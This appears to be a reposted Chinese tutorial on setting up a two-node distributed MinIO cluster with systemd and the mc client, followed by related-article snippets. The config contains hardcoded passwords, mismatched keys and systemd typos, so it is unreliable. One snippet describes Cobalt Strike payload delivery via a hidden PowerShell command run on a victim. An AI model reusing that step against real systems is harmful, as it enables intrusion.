打造自己的分布式MinIO对象存储

news2024/9/22 11:30:18

MinIO是一个对象存储解决方案,它提供了一个与Amazon Web Services S3兼容的API,并支持所有核心S3特性。MinIO旨在部署在任何地方——公共云或私有云、裸机基础架构、协调环境和边缘基础架构。

分布式MinIO如何工作

Server Pool由多个Minio服务节点与其附属的多个磁盘构成。MinIO支持向现有MinIO集群中增加一个或多个Server Pool,从而实现水平扩容。

当MinIO中有多个可用的Server Pool时,单个对象总是写入其中的一个Server Pool,如果一个Server Pool发生故障,并不会影响其他Server Pool的读写。

minio server命令中通过指定HOSTNAME参数来表示一个Server Pool

下文将演示创建一个单独的Server Pool,包含2个minio服务器节点,每一个服务器节点拥有3个驱动器(磁盘),总共6块盘。

规划

一共2个minio服务器节点
oss{1...2}
172.26.150.86 LY-Orch-test-AP01  oss1
172.26.150.87 LY-Orch-test-AP02  oss2
每一个服务器节点拥有3个驱动器(磁盘)
data{1...3}

先决条件

1、网络和防火墙每个节点都应该能够完全双向地访问部署中的所有其他节点。
2、连续主机名minio使用扩展符号{x...y}在创建服务器池时表示一系列连续的MinIO主机。
3、带有顺序挂载点的本地JBOD存储多节点系统必须保持同步的时间和日期,以保持稳定的节点间操作和交互。
4、时间同步多节点系统必须保持同步的时间和日期,以保持稳定的节点间操作和交互。

说明:各个minio节点安装配置步骤保持一致

1、创建minio数据盘

mkfs.xfs /dev/sdb
mkfs.xfs /dev/sdc
mkfs.xfs /dev/sddmkdir -p /data/{data1,data2,data3}[root@hd-iov-l3db-oss02 ~]# cat /etc/fstab
#
# /etc/fstab
# Created by anaconda on Wed Mar 10 15:11:41 2021
#
# Accessible filesystems, by reference, are maintained under '/dev/disk'
# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info
#
/dev/mapper/ol-root     /                       xfs     defaults        0 0
UUID=718976f7-a520-4a9f-8f90-e57ebc6e6abb /boot                   xfs     defaults        0 0
/dev/mapper/ol-swap     swap                    swap    defaults        0 0
UUID="c717af95-08c6-4fcd-9574-fee634d12564" /data/data1 xfs     defaults        0 2
UUID="9e4559e9-d1c0-4f0b-ba30-2a41b286240a" /data/data2 xfs     defaults        0 2
UUID="27995a2a-132f-4b71-9d4c-426d4e7cf8c1" /data/data3 xfs     defaults        0 2

2、MINIO SERVER 软件包下载与安装

mount -a 
chmod 755 minio
mv minio /usr/bin/
groupadd oss
useradd -g oss -s /sbin/nologin oss
chmod 755 /data/
mkdir -p /oss/minio
chmod 755 /oss/
chown oss:oss -R /oss/minio/ /data/data*

3、配置 /etc/hosts 

 cat /etc/hosts
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
172.26.150.86 LY-Orch-test-AP01  oss1
172.26.150.87 LY-Orch-test-AP02  oss2

4、创建服务环境文件

cat /etc/default/minio.conf 

MINIO_ROOT_USER=miniodba

MINIO_ROOT_PASSWORD=ivhsdiFFegg234FDvf#rf

MINIO_PROMETHEUS_AUTH_TYPE="public"

MINIO_VOLUMES="{1...2}:9000/data/data{1...3}"

MINIO_REGION_NAME="hd"

MINIO_BROWSER=on

MINIO_API_REQUESTS_MAX="1000"

MINIO_API_REQUESTS_DEADLINE="30s"

MINIO_OPTS="--console-address :9001"

5、Create the systemd Service File

cat /etc/systemd/system/minio.service

[Unit]

Description=MinIO

Documentation=

Wants=network-noline.target

After=network-noline.target

[Service]

WorkingDirectory=/oss/minio

User=oss

Group=oss

EnvironmentFile=-/etc/default/minio.conf

ExecStartPre=/bin/bash -c "if [ -z \"${MINIO_VOLUMES}\" ]";then echo \"Variable MINIO_VOLUEMS not set in /etc/default/minio\";exit 1;fi"

ExecStart=/usr/bin/minio server $MINIO_OPTS $MINIO_VOLUMES  

Restart=always

LimitNOFILE=655360

LimitNPROC=655360

TasksMax=infinity

TimeoutStopSec=infinity

SendSIGKILL=no

[Install]

WantedBy=multi-user.target

6、运行MinIO服务器进程

systemctl daemon-reload

systemctl start minio

systemctl status minio

7、MINIO CLIENT 软件包下载与安装

MINIO CLIENT:  

wget https://dl.min.io/client/mc/release/linux-amd64/mc

chmod 755 mc

mv mc /usr/bin/

8、配置mc alias 

mkdir -p /root/.mc

cat >> /root/.mc/config.json << EOF

{

        "version": "10",

        "aliases": {

                "ccsminio": {

                        "url": "

                        "accessKey": "miniodba",

                        "secretKey": "miniodba_9922.1xx15221ssPLUS",

                        "api": "S3v4",

                        "path": "auto"

                }

        }

}

EOF

9、mc 测试

[root@LY-Orch-test-AP01 ~]# mc alias list 

ccsminio

  URL       :

  AccessKey : miniodba

  SecretKey : ivhsdiFFegg234FDvf#rf

  API       : S3v4

  Path      : auto

  

[root@LY-Orch-test-AP01 ~]# mc mb  ccsminio/oss                                    

Bucket created successfully `ccsminio/oss`.

[root@LY-Orch-test-AP01 ~]# mc cp /root/openssh-8.6p1.tar.gz ccsminio/oss

/root/openssh-8.6p1.tar.gz:    1.70 MiB / 1.70 MiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 35.66 MiB/s 0s

[root@LY-Orch-test-AP01 ~]#

10、console web 测试

访问  ,输入管理员账号密码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/713988.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

OPNET Modeler 怎么修改背景颜色

OPNET Modeler 软件中除了顶层的网络模型&#xff0c;节点模型和进程模型中的默认背景色都是灰色的。 节点模型背景颜色如下图所示。 进程模型背景颜色如下图所示。 使用时间长了发现这个灰色背景对眼睛保护还真不错&#xff0c;而且在这种灰色背景下&#xff0c;你添加包流线…

高压线路零序电流方向保护程序逻辑原理(四)

2&#xff0e;全相循环程序逻辑框图 全相循环程序逻辑简图如图3&#xff0d;18所示。程序入口首先检测标志位UQDB1&#xff0c;在采样中断服务程序中采用3U。突变量来区分接地故障和TA断线&#xff0c;接地故障时Δ3U。大于定值&#xff0c;置标志位UQDB1&#xff0c;这是11型…

web标签的使用

一、iframe标签的使用 iframe参数说明 实例&#xff1a; <body><iframe width"400" height"400" name"abc"></iframe><br /><ul><a href"01.table.html" target"abc">01.table.html&l…

使用docker安装mysql主从集群

1.安装MySQL主容器 1.1首先&#xff0c;使用以下命令创建MySQL主容器&#xff1a; sudo docker run --name mysql-master -p 3306:3306 -e MYSQL_ROOT_PASSWORD123456 -d mysql:latest 在这里&#xff0c;使用了Docker官方提供的MySQL镜像&#xff0c;并且使用了MySQL的默认3…

浅谈自动化测试框架开发,有你们不会知道的吗?

在自动化测试项目中&#xff0c;为了实现更多功能&#xff0c;我们需要引入不同的库、框架。 首先&#xff0c;你需要将常用的这些库、框架都装上。 pip install requests pip install selenium pip install appium pip install pytest pip install pytest-rerunfailures pip …

以中非经贸连线,看星沙如何练就一流营商环境

不知不觉&#xff0c;“一带一路”倡议提出已有十年&#xff0c;回望过去十年间&#xff0c;在“一带一路”倡议推动下&#xff0c;中国与各国合作共识不断凝聚&#xff0c;国际感召力持续增强&#xff0c;共建“一带一路”的朋友圈持续扩大&#xff0c;遍布亚、欧、非等五大洲…

往数据库插入数据时出现了多条重复数据

业务场景 钉钉端发起审批流程后&#xff0c;会回调开发者后台的callback接口&#xff0c;然后callback接口逻辑处理时会对一些数据做入库处理&#xff0c;但是突然发现数据库中出现了很多重复的数据 问题发现 业务代码进行断点&#xff0c;发现并无异常&#xff0c;就是一条…

探索思维导图:提升思维能力与效率的利器

思维导图作为一种强大的思考工具&#xff0c;已经被广泛应用于各个领域&#xff0c;从学习、工作到创意思维和项目管理。 本文将为您介绍思维导图的基本概念、使用方法以及它对思维能力和效率提升的价值。通过学习和掌握思维导图&#xff0c;您将能够更系统地组织和表达您的思…

scss中写3元运算

为真选第1个参数&#xff0c;为假选第2个参数 前端基础——sass的使用_sass 三元运算_ccopcx的博客-CSDN博客

LabVIEW进行临床肝透析试验

LabVIEW进行临床肝透析试验 慢性肾衰竭患者可以在透析或肾移植的帮助下大大延长其预期寿命。肝病患者需要与透析相当的治疗作为肝移植的替代方案。肾透析可清除患者血液中的水基毒素&#xff0c;肝脏透析需要消除与蛋白质相关的毒素。 为了降低肝病患者的高死亡率&#xff0c…

JNPF可视化平台的搭建及使用

目录 一、前言 二、可视化平台介绍 三、搭建可视化平台 【表单设计】 【报表设计】 【流程设计】 【代码生成器】 四、使用可视化平台 前后端分离&#xff1a; 多数据源&#xff1a; 预置功能&#xff1a; 私有化部署&#xff1a; 五、总结 一、前言 可视化低代码平台是一种快速…

项目打包exe文件

1。先准备exe4j VM Parameters后面要写上 -Dfile.encodingutf-8 不是很重要 因为是springboot项目在打包成exe的时候会出现不能运行的问题 所以在Main class from Class Path这里填&#xff08;org.springframework.boot.loader.JarLauncher&#xff09; 这样打包就好了

Android View 事件派发流程

原文链接 Android View 事件派发流程 自从乔帮主横空出世推出了iPhone以来&#xff0c;触控式的操作便成了21世纪智能设备的标准输入方式。对于同是智能操作系统的Android来说&#xff0c;也不例外。事件&#xff0c;特别是触控事件对于移动应用程序开发来说是一个非常重要的&…

Docker容器中应用部署

Docker应用部署 在Docker容器中部署MySQL&#xff0c;并通过外部的mysql客户端操作MySQL Server 一、Mysql部署 端口映射 容器内的网络服务和外部机器不能直接通信外部机器和宿主机可以通信宿主机和容器可以直接通信当容器中的网络服务需要被外部访问的时候&#xff0c;可以把…

语音识别模型whisper的参数说明

一、whisper简介&#xff1a; Whisper是一种通用的语音识别模型。它是在各种音频的大型数据集上训练的&#xff0c;也是一个多任务模型&#xff0c;可以执行多语言语音识别、语音翻译和语言识别。 二、whisper的参数 1、-h, --help 查看whisper的参数 2、--model {tiny.en…

分布式锁及实现方式

一、背景 什么是锁&#xff1f; 在单进程的系统中&#xff0c;当存在多个线程可以同时改变某个变量&#xff08;可变共享变量&#xff09;时&#xff0c;就需要对变量或代码块做同步&#xff0c;使其在修改这种变量时能够线性执行消除并发修改变量。而同步的本质是通过锁来实…

cobaltstrike使用

./teamserver 192.168.137.4 # 启动服务端 ./cobaltstrike # 启动客户端先创建一个监听Listener 1. exe 生成exe文件后&#xff0c;传给靶机&#xff0c;让其执行 2. powershell 在靶机中执行下面这段代码即可&#xff0c;就是远程恶意文件加载 powershell.exe -nop -w hi…

flask +vue3 cas 单点登录(sso)

最近在研究前端vue3ts 后端使用flask 搭建的系统涉及到单点登录问题&#xff0c;这里进行一次总结。 关于cas 单点登录的逻辑&#xff0c;网上介绍的很详细&#xff0c;我这里就说说&#xff0c;我所理解的单点登录&#xff1a; 主要是2种情形: 1.通过平台登录之后 调用子系…

[Qt 教程之Widgets模块] —— QFontComboBox 字体选择器

Qt系列教程总目录 文章目录 3.2.1 创建 QFontComboBox3.2.2 成员函数1. 书写系统2. 字体过滤器3. 当前字体4. 信号 该控件用于选择字体&#xff0c;在一些软件中经常有类似控件&#xff0c;如下&#xff1a; Microsoft Office&#xff1a; Photoshop&#xff1a; QFontComboB…

1759_C语言中冒泡排序的实现以及新编译环境测试

全部学习汇总&#xff1a; GreyZhang/c_basic: little bits of c. (github.com) 最近在重新学习C语言的数据结构&#xff0c;找了一份国外的电子书一点点看。刚刚学完双向链表&#xff0c;接下来的任务是搞定几个常用的排序。 冒泡排序还算是我比较熟悉的&#xff0c;工作之后…